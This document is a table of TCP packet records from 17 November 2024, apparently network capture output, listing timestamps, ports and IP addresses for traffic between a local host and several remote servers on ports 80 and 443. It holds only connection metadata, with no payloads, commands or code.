Nov 17, 2024 03:42:36.277198076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277223110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277235985 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277523994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277544022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277563095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277587891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277620077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.277740955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277759075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.277806044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.314697027 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.314760923 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.314786911 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.314821005 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.314838886 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.314877987 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.391967058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392029047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392066002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392096996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392100096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392136097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392131090 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392153025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392172098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392187119 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392229080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392316103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392369986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392404079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392421007 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392455101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392457962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392488956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392508030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392524004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.392539978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.392574072 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.393287897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.393322945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.393352985 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.393357992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.393373966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.393613100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.432734013 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.432795048 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.432826996 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.432842016 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.432867050 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.432894945 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.442272902 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.442919016 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.442944050 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.443515062 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.443520069 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.470215082 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.471842051 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.471879005 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.472469091 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.472476959 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.479772091 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.479819059 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.479871988 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.479928017 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.479943991 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.479998112 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.510633945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.510725975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.510757923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.510776043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.510776043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.510793924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.510812998 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.510829926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.510847092 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.510884047 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511075974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511111021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511140108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511143923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511163950 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511435986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511490107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511503935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511538982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511560917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511573076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511599064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511607885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511624098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.511643887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.511694908 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.512331963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.512366056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.512392998 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.512401104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.512415886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.512491941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.548825979 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.548871994 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.548918009 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.548952103 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.548970938 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.549213886 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.593867064 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.594007969 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.594191074 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.594389915 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.594391108 CET	49827	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.594403028 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.594410896 CET	443	49827	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.599735022 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.599759102 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.599865913 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.600708008 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.600877047 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.601039886 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.604621887 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.604630947 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.604948044 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.604973078 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.604989052 CET	49826	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.604995012 CET	443	49826	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.609554052 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.609603882 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.609705925 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.610073090 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.610088110 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.629642963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.629663944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.629690886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.629703999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.629801989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.629812002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.629812002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.629858971 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.629873037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.629920959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630014896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630064964 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630089045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630105972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630121946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630150080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630183935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630507946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630537033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630553961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630568981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630572081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630588055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630604029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.630604029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630640984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.630681038 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.631388903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.631423950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.631449938 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.631458044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.631491899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.631515980 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.665446043 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.665514946 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.665533066 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.665548086 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.665584087 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.665611982 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.666284084 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.666362047 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.666371107 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.666429043 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.666486025 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.666552067 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.666997910 CET	49812	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.667016029 CET	443	49812	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.749012947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749088049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749121904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749155998 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749157906 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749191999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749213934 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749222040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749239922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749255896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749288082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749316931 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749568939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749624968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749675989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749680042 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749710083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749763966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749798059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749799967 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749829054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749835014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.749864101 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.749888897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.750066042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.750101089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.750135899 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.750137091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.750169039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.750186920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.750224113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.867491961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.867528915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.867636919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.867636919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.867818117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.867849112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.867954016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.867954016 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.867969036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.867997885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868050098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868067980 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868083954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868105888 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868117094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868149042 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868170023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868326902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868376017 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868411064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868429899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868443966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868472099 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868479013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868510962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868530989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.868932962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868966103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.868999004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.869020939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.869033098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.869060993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.869066954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.869101048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.869102001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.869122028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.869147062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.870348930 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.877643108 CET	443	49831	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.887984991 CET	49831	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.887996912 CET	443	49831	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.889077902 CET	443	49831	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.907116890 CET	49832	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.907136917 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.907474995 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.910348892 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.914704084 CET	49832	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.914773941 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.915571928 CET	49831	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.915756941 CET	443	49831	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:36.934420109 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.934448004 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.935497999 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.935503960 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.956870079 CET	49831	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:36.958386898 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.958935022 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.958949089 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.959275961 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.959829092 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.959834099 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.960293055 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.960309029 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.961025953 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:36.961030960 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:36.989274025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989308119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989341974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989386082 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989407063 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989417076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989447117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989469051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989487886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989505053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989531994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989537954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989550114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989572048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989578009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989603996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989636898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989670038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989685059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989705086 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989722967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989727974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989758015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989773035 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989790916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989824057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989831924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989857912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989862919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989881039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989893913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989928007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989943981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989962101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.989978075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.989996910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.990015984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.990030050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:36.990045071 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:36.990969896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.059191942 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.059421062 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.059500933 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.059840918 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.059861898 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.060035944 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.060044050 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.065594912 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.065639973 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.065788031 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.066149950 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.066183090 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.069655895 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.069677114 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.070027113 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.070147038 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.070184946 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.086833000 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.087054014 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.087155104 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.087384939 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.087409973 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.087423086 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.087430000 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.088287115 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.088543892 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.088623047 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.089498997 CET	49829	443	192.168.2.5	13.107.246.45
